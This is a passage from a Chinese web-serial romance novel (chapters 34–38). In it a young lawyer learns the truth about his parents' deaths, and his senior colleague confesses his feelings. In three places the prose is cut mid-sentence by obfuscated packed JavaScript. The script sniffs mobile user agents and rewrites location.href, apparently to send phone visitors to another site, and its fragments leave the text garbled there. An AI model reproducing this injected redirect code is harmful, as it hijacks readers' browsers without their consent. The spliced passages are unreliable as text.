在夜晚繁忙的车流中穿梭了一段时间，尹观庭渐渐接近了这个新开业的大型商场。他来之前其实并没有什么偶遇的想法，纯粹是对这家严熤实名推荐的咖啡馆好奇而已，然而出乎他意料的是，他在鹭庭湾门口宽阔的广场上，一眼就看到了孤零零坐在行人椅上的年轻人。 尹观庭心头一紧，来不及多想，方向盘一转，进了鹭庭湾的停车场。 严熤呆呆地看着鹭庭湾那个金光闪闪的logo，刚刚知晓的真相在他脑子里乱成一团，让他完全无从反应。 在许源的叙述里，他也不知道严熤的父亲严康和谭穆是什么关系，但他知道严康手里肯定有谭穆的把柄。 在严康出事的那个工程里，谭穆确实是工程负责人之一，但是很少出现，除了几个实际做工的工头，也没几个人认识他。工程的劳务老板是个吝啬鬼，给的钱不仅经常少算，而且还经常迟发，工人们怨声载道，但是严康的工程队是其中的例外，给的钱又多又快，大家还以为是严康有关系。 直到一次意外，许源听到了严康和谭穆的对话，严康威胁谭穆，如果不给大家涨钱就要举报他，谭穆气得半死但还是答应了，他本来想利用这件事情从严康或者谭穆手里捞点好处，可还没来得及实施，严康所带的工程队就出事了，许源被吓坏了，以为是谭穆杀人灭口，工钱也不要了，直接跑了。可没想到他后面又遇到了谭穆，更没想到谭穆居然认出了他，笑眯眯地问他还记不记得严康。 这下许源更觉得是谭穆杀人灭口了，哪儿敢说认识，糊弄过去以后没几天就就找借口跑了，之后也把这件事情瞒得死死的。过去七八年，他还以为这件事情已经没人知道了，正打算松一口气，结果那天严熤打电话过来张口就是询问严康的事情，许源一直绷紧的神经顿时断了，以为谭穆终于要对自己下手，今天见到严熤才会应激成这个样子。 严熤沉默地听完他的叙述，一手刀把人拍晕了放在路口，自己快步离开了现场。 许源的话里有些很多疑点和他曾经的问题对不上，比如谭穆既然是实际负责人之一，而且还有好几个工头的认识他，那他是怎么从那个事故当中脱身的？又比如他还留存着父亲对谭穆卑躬屈膝的样子，父亲又有什么东西可以威胁谭穆？再比如谭穆如果真的一手策划了父母的死，那他是怎么做到一点痕迹都没有让警方认定为意外事故的？ 他犹豫半天，最终还是给郭庆梅去了一个电话，把今晚的事情和她说了说，然而他没想到的是，郭庆梅沉默半晌，最终还是叹了口气，说道： “闪闪，你爸爸妈妈的事和谭穆没有关系，你不用追究了。有些事情当年没有告诉你……你的爸爸妈妈……某种程度上算是自作自受吧。” 严熤握着手机，知道父母去世时那种肝胆俱裂的感觉又浮了上来。 35. 第 35 章 从郭庆梅口中，严熤知道了这个事故的另外一面。 严家夫妻挂靠的劳务公司正是谭穆名下的，有两个股东，一个是谭穆，另外一个是正在服刑的卓宏盛，其中卓宏盛是大股东、公司管理人，也是当年事故工程的主要劳务负责人，谭穆挂了个监事的名头，基本不过问这个工程，所以在公司被罚停业整改后，谭穆把股权往卓宏盛那一转，全身而退。 卓鸿盛没少给开发商牵线搭桥，介绍一些材料供应商，那些以次充好的材料基本都来源于卓宏盛的介绍，凑巧的是，当年卓宏盛陪同开发商老板给监理方行贿，在一家酒店吃饭，而严康当时正在给酒店做装修维护，正好撞见，拿到了这个把柄，严康从卓宏盛手上拿到了一笔钱，之后一旦卓宏盛有拖欠工钱的行为，严康就用这个作为要挟，找不到卓宏盛，那就找同为公司老板的谭穆。 “你爸爸当年只是想着多了一条赚钱的门路是好事，没有安全意识，也没有想过自己会出事，”郭庆梅略带叹息的声音从电话那头传过来，“卓宏盛当年给了你爸爸一万块的封口费，也因为这个情节，没能要求卓宏盛承担全部责任。这个事情你奶奶知道，老人家不希望我告诉你，如果不是……” 如果不是因为他碰上了谭穆，还靠尹观庭的关系阴差阳错地抓到了他的一点尾巴，郭庆梅估计也不会把这件事情告诉他。 严熤闭了闭眼睛，想起了某一年春节时，爸爸兴高采烈地送给他一部最新款的智能手机，说是用老板另外发的奖金买的，现在看来，这笔钱应该就是卓宏盛给的封口费。 他想起小时候，父母希望他好好学习，说的最多的一句话就是以后不要再做苦力，他因为叛逆学习成绩一落千丈时，父母虽然觉得他可能不是学习那块料，但也没有逼他，反而更加拼命赚钱，希望多存一点钱，这样他以后即使找不到好工作也不用特别辛苦。 他想爸爸也许不是不知道危险，只是一边侥幸，一边希望多赚一点钱。 而那个时候，他拿着父母给的钱呼朋引伴，打架逃课，全心思沉浸在爹妈不管的怨愤中，从来没有思考过他们是在什么样的情况下赚到的钱。 他攥着手机冰冷的金属外壳，一点凉意从指尖传到心里，冻得他几乎发抖。 为什么当时要这么不懂事？他想，如果他继续保持拔尖的成绩，爸妈可能没有那么大的压力，也不会为了一点蝇头小利就助纣为虐，或者当年他能和爸妈多聊几句，问一问他们做工的情况，也能及时发现，又或者他那时能够…… “严熤。”一双温暖的手，覆上了他冰冷的脸颊，抹去了不知不觉流出来的泪滴。 他有些呆愣的抬起头，看着面前长身玉立的男人。 尹观庭站在他面前，皱眉看着他，看上去有些担心，又有一些无奈。他伸手抹掉严熤眼角的泪后，收回手从风衣口袋里拿出一包纸巾递给严熤：“发生什么事了？怎么又哭了？” 这个“又”字就用的很精髓。 严熤接过纸巾擦了擦眼睛，暗自吐槽这是什么见鬼的缘分，但仔细想想，还得感谢尹观庭及时打断了他越陷越深的负面情绪。刚刚自己钻了牛角尖，明明过去的事情已经无法挽回，沉浸过去只会折磨自己，而一直以为逍遥法外的凶手其实并不存在，反倒是解决了一桩心事，应该开心才是。 想通这点，虽然还是有些难受，但情绪已经振作了起来，他吸了吸鼻子，对着尹观庭露出一个笑来：“没事儿了，谢谢师兄关心，诶，不过你怎么在这儿？” 正在想要怎么安慰人的尹观庭：“……” 好问题，那么现在该找什么借口才能显得自己不像变态？ 最后尹律以自己强大的心理素面不改色地表示了对网红咖啡店的好奇之心，顶着严熤探究的眼神带人去了店里。 不得不说，这家咖啡店能成为网红是有道理的，精心设计的布局加上恰到好处的灯光装饰，氛围慵懒而暧昧，极其适合谈情说爱。 严熤和尹观庭从门口走到一个靠窗的角落，一路上起码路过了四五对姿态亲密的情侣。 为什么白天没有发现这个咖啡馆是这样的？看看他们，再想想自己，严熤的表情顿时有些古怪，总觉得他和尹观庭两个人跟这里格格不入。 相比于他，尹观庭倒是自在的多。 尹律坦然自若地找到位置，坐下招来服务员，给严熤点了一杯奶茶，给自己点了一杯咖啡，点完餐后双手交握放在了桌上，严熤很熟悉他这个动作，这是要长谈的姿势。 明明什么事情都没有做的严熤：“……” 这种突如其来的心虚是怎么回事。 不过尹观庭并没有跟他谈一些严肃的事情，也没有对他刚才的失态追根究底，只是闲聊式问起他们下午做了什么，严熤松了一口气，转而叭叭叭地把下午自己和余畅的逛街做的事情和盘托出，尹观庭安静地听着，一双眼睛看着他，温和而专注。 在这样的眼神下，严熤滔滔不绝的话语渐渐低了下去，然后没声音了。 而他安静了一两秒，尹观庭才跟醒过来似的问了一句：“嗯？怎么不说了？” “哦，这个嘛——”严熤拖长了一点声音，“因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740083|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉师兄你也没有在听啊。” 听到他半真半假的抱怨，尹观庭笑了起来，声音沉润而磁性：“嗯，不好意思，专注看人去了。” 严熤：“！！！” 完全没想到他会是这个反应，严熤一时间被撩了个猝不及防，只能掩饰的地咳了一声，摆出一副要加菜的模样，偏头去研究桌上摆放的菜单。 于是尹观庭正好看见了他掩映在黑发下通红的耳朵，不由得有些感叹，严熤还真是薛定谔的脸皮，说他脸皮薄吧，有一点感觉就敢当面问人心意，也不怕自作多情社死，说他脸皮厚吧，随口一逗就能害羞成这样。 但尹观庭并不想放过他。 “你刚刚不是说不想吃东西吗？这会儿看菜单看这么认真，”尹观庭特意顿了顿，才放低声音说道，“还是说刚刚惹你生气了？” 我靠，这是尹观庭能说出来的话吗？ 严熤惊悚地转头，看见尹观庭眼眉低垂，似乎是很失落，顿时有些慌，怎么回事，师兄是沾染上什么脏东西了吗？OOC成这样？ 他一边内心吐槽一边慌忙否认：“没有没有，我只是……” 话还没说完，就见尹观庭抬眼看了过来——从容平静的表情，以及双眼深处藏都藏不住的笑意和戏谑。 严熤：“……” 比刚才更加浓厚的羞恼涌上了心头。 随之而来的还有浓厚的胜负欲。 严熤控制住自己的羞耻心，对着尹观庭露出一个灿烂的笑容，尽其所能的柔和了声线：“没有哦，放心好了，我不会对哥哥的生气的~” 语气矫揉造作地自己都想吐。 然后他如愿以偿地看见尹观庭愣了愣。 接着是忍都忍不住的笑：“哈哈哈…” 尹观庭那双素来平和的眼睛溢满了笑意和某些情愫，他边笑边摇了摇头：“你啊……” 在他的未尽之言里，严熤整个人都烧了起来。 羞窘之情彻底冲淡了他今晚的负面情绪。 越想越社死，严熤伸手捂住脸，胆大包天地命令尹观庭：“够了够了，不准笑！” “……哈哈哈……行……咳……”尹观庭呛了一下，有些艰难地收敛住笑意，见严熤彻底恢复过来，他才说道，“所以你现在有心情告诉我发生了什么吗？” 严熤顿住，放下手，和他对视。 尹观庭的声音还带着些未尽的笑意，更显温和而轻柔：“我很想了解你身上发生的一切，无论高兴还是伤心，我都很乐意与你分担。” “闪闪，告诉我可以吗？” 36. 第 36 章 严熤看着他，有些恍惚。 自从奶奶去世以后，几乎没有人再用这种哄小孩似的语气跟他说话，更何况一个成年人动不动要人哄，也未免太过幼稚。 然而听到尹观庭的这个问话，他竟然还是难以抑制地眼眶一热，感到了些许委屈。 不论理智上怎么说服自己接受现实，但情感上他依然自责于对父母的忽视，甚至内心深处还藏着对父母不顾安全的怨恨，种种情绪交织成一个火药桶，只需要一句问话就可以点燃引信。 严熤双臂交叠，慢慢在桌上趴了下去，把脸埋在臂弯处，有些哽咽的声音传了出来：“不是什么大事，就是害师兄你浪费时间去帮我打听谭穆的消息了……” 他简单把今晚发生的事情和尹观庭说了说，自始至终都没有把脸抬起来。 尹观庭没想到事情是这个走向，一时也陷入了沉默。 桌上安静了几分钟。 最终还是尹观庭开口打破沉默，他声音平静，有种让人安心倾听的魅力：“你还记得轮汽公司吗？” “你前男友的那个公司吗？”严熤还沉浸在自己的情绪里没有完全缓和过来，闻言想都不想地回了一句，等话一出口才发现好像有哪里不对。 他顿时顾不得其他，抬起脑袋看了一眼尹观庭。 正好和对方有点无奈的眼神对上：“是我前男友爸爸的公司。” 严熤：“呃……” 尹观庭看着他通红的眼角，手指蜷了蜷：“本来那家公司处理劳动争议案件不会这么强势，付出和收益完全不成正比，之所以会这样，是因为我大哥插手了，他要求轮汽不管什么代价必须把案子持续下去，他想用这个给我个教训。 但他没想到教训太大，我直接跟家里断了联系，一直到几年前，他专门来C市找过我，我们就这个问题深入聊过，他跟我说他很后悔。” 严熤不知不觉被他吸引了注意力：“后悔？” “对，后悔，当年不是没得选，但他选了一个最强硬的，然后我们冷战快十年，到现在关系也不尴不尬的，”尹观庭看着严熤，“谁见到我大哥都要说一句人中龙凤，可是他当年对付我的手段可一点都不高明。我想说的是，做决策的时候，有太多影响因素了，事后回看或许总能找到瑕疵，可对于做决定的当下来说，那就是能做到的极致。 就像你的爸爸妈妈，在他们决定以这个事情去换取一笔钱时，一定是觉得比起虚无缥聊看不见的安全事故，给你买一个心仪的礼物更加重要。” 严熤今晚不知道第几次愣住，直到脸上划过一丝温热，他才反应过来，狼狈地抹了一把脸。 “我知道的，”他吸了一口气，就是因为知道父母那些潜藏的爱意，他才更加难以接受这后来的事实，“我只是……” 他后面的话语卡在嗓子里，不知道该怎么去描述自己那些复杂的情感。 尹观庭给他递了一张纸：“不用剖析自己，在等一段时间，你会慢慢接受的，”他顿了顿，又补了一句，“希望你不要觉得我这是站着说话不腰疼。” “我哪儿有这么不识好歹，”严熤擦了擦眼泪，聊了半天又哭了一顿，情绪释放得差不多了，总算是露了个笑，“怎么我每次哭都能被你撞见，咱俩这是孽缘吧。” 尹观庭也松了口气，端起咖啡喝了一口，接口道：“换个形容，这叫特别的缘分。” 严熤莫名想起了自己第一天入职的时候，点头同意：“这么说也对，要不是我入职的时候你上一任助理辞职了，我也不会跟着你。后面主任跟我说，他让我跟着你，你可不乐意了。” 尹观庭：“……这是想翻旧账？” 语气里透着一股不太认真的“你皮痒了吧”的意味。 严熤乐了，伸了个懒腰：“没有没有，哪儿敢啊，就是觉得特别的缘分这个形容词真好。” 回溯过去，他怎么也不会想到自己有一天会和尹观庭这样相处，只能说缘分确实奇妙。 尹观庭不知道是不是看透他的想法，只是跟着笑了笑，没再说话。 等两人安静地吃完点的茶点，时间已经接近凌晨，公交地铁都停了，严熤只能蹭尹观庭的车回去。他瞎逛了一下午，晚上情绪又大起大落，等坐上车后累的不行，疲惫地靠在副驾驶上闭目养神。 在等一个红灯时，严熤感觉尹观庭伸手摸了摸他的脸颊，很快移开，打开了车载空调，热气扑面而来，严熤这才感觉到自己脸上温度冰冷。 一眨眼都要入冬了。 他悄无声息地睁开眼睛，看见尹观庭手握方向盘，修长的手指在黑色的真皮上一点一点，侧脸在路灯下勾勒出一个优美的弧度。 严熤看着他，思维渐渐发散，不得不说，尹观庭能顶着工作严苛的名头成为律所的人气第一，颜值功不可没，同为男性也得承认这张脸的英俊。 没多久尹观庭就感受到了他的目光，偏头看了一眼：“这么快就醒了？” “我没睡着。”严熤答道，果不其然看见尹观庭僵硬了一瞬间，随即恢复常态，动作之迅速，要不是严熤一直盯着他，估计都没法发现。 “闭目养神也挺好，你家也快到了，车能进去吗？”尹观庭从容不迫，似乎半点没受影响。 这功力严熤不得不佩服：“可以进去，不过不用麻烦，把我放小区门口就行。” 尹观庭没听他的，按照他指的路还是把他送到了单元楼下。 此时已经快凌晨一点，只有寥寥几户还亮着灯，小区路旁也没有路灯，尹观庭息了车灯之后，车内只剩下了车载屏幕渐渐熄灭的荧光。 尹观庭解开安全带，按开车锁，看向严熤，问道：“需要我送你上去吗？” 严熤一时语塞，按理说已经到了单元门门口，怎么看都不需要送，莫非这句的意思是“请我上去坐坐”吗？ 他莫名觉得自己好像陷入了什么偶像剧剧本里。 没等到他回答，尹观庭也没坚持，“看来是不需要了，你今天也累了，回去早点休息吧，要是睡不着，就看看助眠视频什么的。” 严熤听着他的叮嘱，还在偶像剧里打转的脑子抽了一下，不经思考脱口而出：“睡不着不是给你打电话吗？” 话音刚落，车内一瞬寂静。 严熤：“……” 靠！我在说什么！ 尹观庭愣了愣，随即笑了起来：“如果你愿意的话。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740084|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 严熤心头一动，忍不住追问了一句：“什么时候都可以打吗？” 尹观庭回答地很认真：“嗯，随时可以，就是我不保证能接到电话，不过肯定会在看到第一时间给你回电话的。” 虽然加了附加条件，但严熤仍然觉得这比大包大揽更加令人心动。 他看了尹观庭几秒，突然笑了起来：“师兄，你喜欢我，不是那种朋友之间的喜欢。” 他语气异常笃定。 尹观庭似乎有些惊讶，但很快找回了状态，十分坦然地回答：“当然不是，我还在想你什么时候会承认。” 他用的是承认而不是发现，显然是默认之前严熤知道但自欺欺人。 严熤听出这层意思，想了一下发现竟然无法反驳，但此前他确实没想过会和一个男人亲近到这个地步，尤其是这个男人还是自己的上司，简直魔幻。 “我没有准备好，”他吐了一口气，说道，“我之前从来没想过感情问题，更别说……跟同性，这完全在我的意料之外。” 尹观庭听他说完，不动声色：“是没有准备好接受我，还是没有准备好拒绝我？” 严熤：“……” 严熤：“为什么不能只是拒绝？” 尹观庭嘴角一翘：“闪闪，如果只是拒绝，你不会说没准备好，你会告诉我你不喜欢男人。” 严熤：“……” 这他妈还真是无法反驳。 严熤难得在心里爆了粗口，仔细想想他其实从来没有深究过自己的性向，在确认尹观庭对自己想法之后，也没有什么恶心别扭的想法，要直接说自己不喜欢男的好像有点假，而且他对尹观庭那些无意识的亲近早就超过了朋友或者上司的界限。 别的不说，起码他不会对着菜谱研究余畅的喜好，也不会不管不顾地在余畅面前哭成一团。 但他还是很犹豫，不讨厌尹观庭是一回事，接受别人的感情又是另一回事了，说没做好准备是真心话，现在两人之间的关系其实不足以支撑他迈出那一步，尹观庭比他年长得多，在感情里显现出的余裕也比他多得多，起码严熤自认如果是自己被拒绝，肯定不会像他这么冷静地分析对方的拒绝是真的还是假的。 纠结期间一只手抬起了他的下巴，尹观庭大拇指还顺手摩挲了一下他的脸颊：“不用着急，我不是非要你今天接受。” 严熤险些没听见尹观庭刚刚说了什么，满脑子都是两个问题。 为什么他能这么顺手，为什么我接受的这么自然…… 在脑海里弹幕刷刷刷的情况下，严熤面对尹观庭的话只能干巴巴地回一句：“我会好好考虑的。” “不要说得像是我在指导你工作，”尹观庭叹了口气，“今天先好好休息吧，明天你可以晚一点到办公室。” 严熤诡异地看他一眼。 某人色令智昏的猜想得到了证实。 但作为那个“色”，他好像说什么都像是得了便宜还卖乖，于是只能僵硬地笑了两声，打开车门下了车。 等他回到家中，又过了几分钟，严熤才从窗户里看到那张黑色奔驰从楼下离开。 他头抵在玻璃上，放松似的吐了一口气。 37. 第 37 章 严熤这一晚睡得相当不安稳，各式各样的梦做了一晚上，醒过来时感觉不眠不休地跑了一晚上，累得慌。 他拿起手机一看时间，险些把手机丢出去，上面明晃晃11点仿佛在嘲笑他全勤奖没了。 当然他本来也没有全勤奖这种东西。 但上班以来这还是他第一次没有按时到岗。 本着反正已经迟到了的破罐破摔心理，严熤缩回被子里，打开微信看了看消息。 略过工作群的信息，给他发消息的只有昨天赶飞机回京城的余半仙。 半仙在凌晨三点给他发了一条“我到学校了”的消息报平安。 至于昨晚害他没睡好的罪魁祸首则安安静静的，什么消息都没有。 连日常凌晨六点发给他的一天工作计划安排都没有。 严熤心情复杂，一种是社畜迟到后对着老板天然的恐慌和不好意思，一种是刚被人表白后恃宠而骄的优越感。他一边告诉自己人不能飘，一边又难以自抑地心情飞扬。 怀着这种心情他点进了几个艾特自己的工作群，然后就看见尹观庭起码在四五个群里艾特他然后给他安排了一堆工作和反馈的时间。 严熤：“……” 心情更复杂了。 他挨个在工作群里回复了收到，消息刚一发出，尹观庭的电话卡着点就进来了。 严熤心情突然紧张起来，他接起电话，清了清有些哑的嗓子：“喂？” “刚醒吗？”尹观庭情绪倒是非常正常，语气公事公办的，“今天你就在家办公吧，现在方便开电脑吗？” 这倒是把严熤的满腔不自在清空了，他听着尹观庭的声音有些模糊和电音，估摸着他是通过车载蓝牙打过来，于是伸长手从床边的桌子上把自己的笔记本电脑拿过来，嘴上随口说道：“我马上开电脑，师兄你在开车吗？” “嗯，和陆总约了见面。”伴随着尹观庭的随口回复，严熤微信上收到了一份他传过来的文件。 严熤：“……你开着车看手机？” 语气里满是不赞同。 尹观庭顿了顿：“现在堵在路上了。” 话音刚落，电话那边就传出来一个机械女声：“前方200米左转，左侧两车道均可通行。” 尹观庭：“……” 严熤：“……” 随口编的借口被当场戳穿，尹观庭难得有些尴尬：“这个文件有点着急，我跟你说怎么修改，你改了之后马上发给我。” 严熤一边听话地打开文件准备做修改，一边嘟囔：“再着急也不用开着车看手机吧，你也不怕一个不小心直接追尾。” 尹观庭似乎是笑了笑：“三四十码的速度，不至于。” 严熤还有槽想吐，但想想继续说下去未免有些过于亲近，于是忍住了，把话题拉回正事上：“我现在打开文件了。” “嗯，首先抬头修改一下，他写的是简称，这家公司的全称是……”尹观庭顺着他结束了刚才的话题，把修改要求一一跟他说清楚。 没几分钟，严熤就把修改版发给了尹观庭。 尹观庭很快发过来一句“谢谢”。 严熤回了他一句：“开车别看手机！！！” 不知道是不是严熤的提醒起到了作用，尹观庭没在回复。 改完临时加塞的函件，严熤理了理今天的工作，又刷了会手机，这才起床洗漱吃早……午饭。 等他坐到书桌前时，又恢复了以往神采奕奕的样子。 他打开电脑正准备处理工作，就见右下角微信图标一直闪烁，点开一看，是余畅给他发了好几条消息。 余半仙：下午有个讲座遇到你导了 余半仙：【李明光站在讲坛前发言.jpg】 余半仙：据说本来是院里另外一个教授的，结果临时有事，你导顶上了 余半仙：刚还问我你最近怎么样 余半仙：不是我说，当年你导对你也算恩重如山，你都不跟他报告下近况的？ 浏览完消息，严熤翻了个白眼，他当然不会忘记李明光对他的帮助，只是他既没有跟着李明光读博也没有从事理论研究，总不能随时打扰人家。他和李明光的上一次联系还是两个月前的中秋国庆双节，他给老师电话祝贺节日快乐，顺便和李明光聊了两句现在的工作生活。 余畅很快又发来了一条消息。 余半仙：我去！刚刚李老师问我尹大状最近怎么样！ 严闪闪：你怎么回的？ 余半仙：我能怎么回，我当然说不熟不知道啊！ 余半仙：结果李老师说我不是跟你很熟吗，难道你没跟我抱怨过尹律师工作起来不像人 余半仙：这让我怎么回！ 余半仙：话说他怎么知道你跟着尹律的？ 当然是上次聊天的时候说的。 严闪闪：我导估计就是随口寒暄，就你大惊小怪的 余半仙：什么叫我大惊小怪，你导跟我回忆了半天你师兄的光辉生涯你知道吗！ 余半仙：指指点点半天之后来一句，小严脾气好，配他挺合适的 余半仙：这不知道的还以为我他妈在婚恋市场呢！ 严熤先是一乐，随即反应过来，某种程度上来说李老师还真是碰触了一部分真相。 他手放在键盘上犹豫了半天，最终还是给余畅发了条信息。 严闪闪：半仙，你记得我之前跟你说那个同事吗？ 余半仙：哪个？要追你的那个gay？ 严熤打字的手僵住，余畅这瞎猫碰死耗子的技能真是见了鬼了。 严闪闪：【emmmm.jpg】 严闪闪：他现在真的要追我 严闪闪：关键是我感觉，我有点想答应 余畅没回复，不知道是不是被震撼到了。 严熤等了一两分钟，余畅的电话进来了。 那边十分安静，应该是余畅换了一个没人的环境，这就显得他异常大声：“严熤你他妈认真的？敢耍我你死定了！” 严熤被他吼得耳朵发麻，下意识把手机拿远了一点。 余畅的骂骂咧咧顿时成了背景音。 估摸着他冷静了一点，严熤才把手机拿回来，试探着喊了一句：“半仙？” “你又把我电话搁旁边了是吧！”余畅声音听上去稳定多了，“我跟你讲我迟早要揍你一顿。” 严熤一脸诚恳地敷衍：“嗯嗯嗯，下次不敢了。” 余畅噎住，缓了一会儿才问道：“你说的那个同事就是尹律师吧？” 严熤：“……是。” 余畅爆了一声粗：“我就知道！这次见你就感觉哪里不对，你们是认真的……不对，是尹观庭是认真的吗？他不是想搞办公室潜规则那一套吧？！我告诉你严熤，你要是这么干我立马飞回去揍你！” 严熤皱眉，不由得也挺高了声音：“少恶心我！我在你心里就这形象？” “……我不是那个意思，”余畅的声音里满是烦躁，“就是闪闪，我对性向没什么意见OK？但你这也太突然了，你俩认识满打满算有半年吗？你还记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740085|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得李果果那事吧？要是你……那还不如李果果呢，起码她真能逼着那个人渣结婚。” 李果果是高他们两届的师姐，大三实习的时候，在老家的一个大型本地律所里给高级合伙人做助理，不知怎么几个月后就被这个已婚已育的高伙勾搭了，高伙的原配直接把事情捅到了学校里，要求学校不准让她毕业，当然最后经过校领导的斡旋李果果还是毕业了。但要说李师姐也是个狠人，不知道她怎么做到的，总之高伙很快和原配离了婚，等她毕业之后直接娶了她，两年之后，也就是严熤毕业那一年，她凭着和高伙签下的财产协议直接分走了一半家产，之后带着一笔可观的数字离开老家浪迹江湖去了。 这件事一度成为法学院里的传奇。 “那又不一样，”严熤趴在桌子上，声音闷闷的，“尹观庭可没结婚。” “那不是更方便了！”余畅喊道，“以后闹翻了他就是一夜风流，你成那个不走正道的狐狸精了！还他妈是个男狐狸精！这件事要是爆出来，你就能取代李果果成我校传奇了懂吗！” 严熤：“……你不要说得我已经成李果果二号了一样。” 余畅烦得要死：“说到底你就是觉得尹观庭人品好得不得了呗！你才认识他多久啊！这人冷心冷情出了名的，突然就对你情根深种了？这也能信，你小说看多了？！” 严熤一噎，内心隐秘的不安被余畅戳中了，非要分析的话，他喜欢上尹观庭的理由不要太简单，尹观庭能力出众，外貌俊美，与人相处确实疏离地过分，但这份疏离唯独面对你时烟消云散，这没几个人扛得住。 可是尹观庭对他呢？ 他自问自己除了长得还行之外，似乎也没什么能吸引尹观庭的地方了。 要真是看脸，那他还真得担心一下被渣的可能性。 “我不知道啊！啊！！”越想越烦，严熤忍不住大喊一声，“我感觉得到你懂吧，他对我就特别……纵容，我敢说尹观庭对别人都不这样，我也不知道为什么他就喜欢我了，可他都跟我表白了！我靠我还没被这种咖位的人表白过！我要怎么办嘛！” 两人同时发疯的时候，一般就会有一个人冷静下来，严熤发泄似喊了两声，余畅反而彻底冷静下来了：“所以你现在自己都没想清楚，有可能就是被一时的温情迷了眼睛，那没必要急着答应，想清楚再说，他要是认真的就不可能逼你。” 严熤蔫蔫的：“是没逼我。” “啧，逼你那不真成职场潜规则了！”余畅对他的智商下线很嫌弃，“总之，我觉得你最好冷静地、在抛开他的影响的情况下好好想一下，不要被什么一时间的感动之类的带跑了知道没！” 有道理，最近感觉得跟师兄保持一下社交距离。 严熤吐了一口气：“知道了，我好好想想。” 余畅很不放心地又交代一句：“有什么及时跟我说啊！你放心，只要你真的想清楚了，我是不会指手画脚的，你别一个人憋着搞事。” 严熤：“……知道了知道了，你真的好啰嗦，挂了，拜拜拜拜。” 没等余畅说话，他先把电话挂了。 盯着电脑屏幕发了一会呆，严熤很快收拾了心情，决定最近还是先按正常的上下级模式和尹观庭相处一段时间再说，起码得像余畅说的那样，脱离尹观庭的影响好好想一想。 这个决定刚下没一分钟，尹观庭给他发了个地址，附带一条消息。 “晚上来这里吃饭，我请客。” 严熤：“……” 半仙，我到底要不要答应！很急！ 38. 第 38 章 最后严熤还是答应了。 主要是尹观庭给出了一个无法拒绝的理由——“带你见见一个新的客户”。 “我这是为了工作，我这是为了工作……” 严熤一边给自己催眠，一边麻溜收拾了东西出发前往尹观庭给的地址。 那是一家开在城区的私房菜馆，严熤只闻其名不见其形，难得吃大户，抱着一种见世面不亏的心态进了一层那个富丽堂皇的大厅。 尹观庭在电梯间等他。 说是电梯间，其实是连接前厅和后花园的门廊，装修风格是十分统一的华丽。严熤到的时候，尹观庭正一手插兜一手举着手机，西装革履，身姿挺拔，衬着这装修风格，说不出的矜贵。 严熤迟疑两秒，但瞅了自己身上的正装一眼，很快恢复自信，走进电梯间，冲着尹观庭招了招手。 尹观庭也看见了他，面无表情的脸上露出一个微笑。 严熤莫名有些不好意思，定了定神才无声地指了指电梯按钮。 尹观庭伸手按下上升键，语速很快地对着电话说了句什么，随即挂了电话看向严熤：“我还以为你会不来。” “这不是见客户嘛，”严熤振振有词，“工作态度得到位。” 尹观庭点点头，一副“我就知道你要这么说”的神情：“挺好，多认识点人，对未来工作也有帮助。” 严熤跟着他进了电梯，目不斜视：“这话说得，好像你下一秒就要炒了我一样。” 尹观庭跟着他看向电梯门，随口回复：“难道就不能是为你找一个好的出路。” 严熤：“……这不还是要炒了我！” “开个玩笑，”尹观庭笑起来，十分不经意地补充了一句，“我可舍不得。” 听了个清清楚楚的严熤：“……” 他感觉自己脸开始发烫了。 虽然电梯里只有两个人，但是师兄你是半点人设都不打算保持了吗！ 严熤十分郁闷地看了一眼尹观庭：“你不要……”随便说这种引人误会的话。 后半句没能说出来，他突然反应过来他们现在根本不存在误会，尹观庭就是坦坦荡荡地告诉他“我在撩你”。 严熤真正意义上面对别人的追求只有一次，就是大学期间的女班长向他十分含蓄地表达过好感，方式包括但不限于图书馆偶遇，买多了早餐，还有转借给他的图书中夹杂的一份意味隽永的情诗。 但忙于生计的严熤统统无视了，一度认为该同学是个认真负责的好同志，因为她完美完成了辅导员要多照顾自己这种家庭困难的同学的责任。 一直到毕业后班长放弃，在毕业聚餐时大大方方地表示自己曾经心仪的对象是严熤，他这才意识到原来人家不是为了完成任务，而是在追他。 然后他不由自主地回想了一下大学期间自己还有没有无意错过了什么桃花。 答案是没想起来，他的大学生涯充满了学习打工担心奶奶，奶奶去世后继续打工学习担心未来，没空理别人，也没有应对他人好感的经验。 也就导致了他面对尹观庭撩人手段毫无招架之力。 尤其是尹律非常淡定，类似的暧昧话语张口就来，既不难为情也不浮夸，透着一种笃定的从容。 就比如此时，严熤不想看他看电梯门，他也跟着看电梯门，跟严熤隔着光滑如镜金属门对视，镜面如实反应了两人的态度。 一人嘴角带笑，另一人恨不得钻出去。 来个人劈了这个电梯吧，好好电梯做得这么反光，也不想想防不防滑。 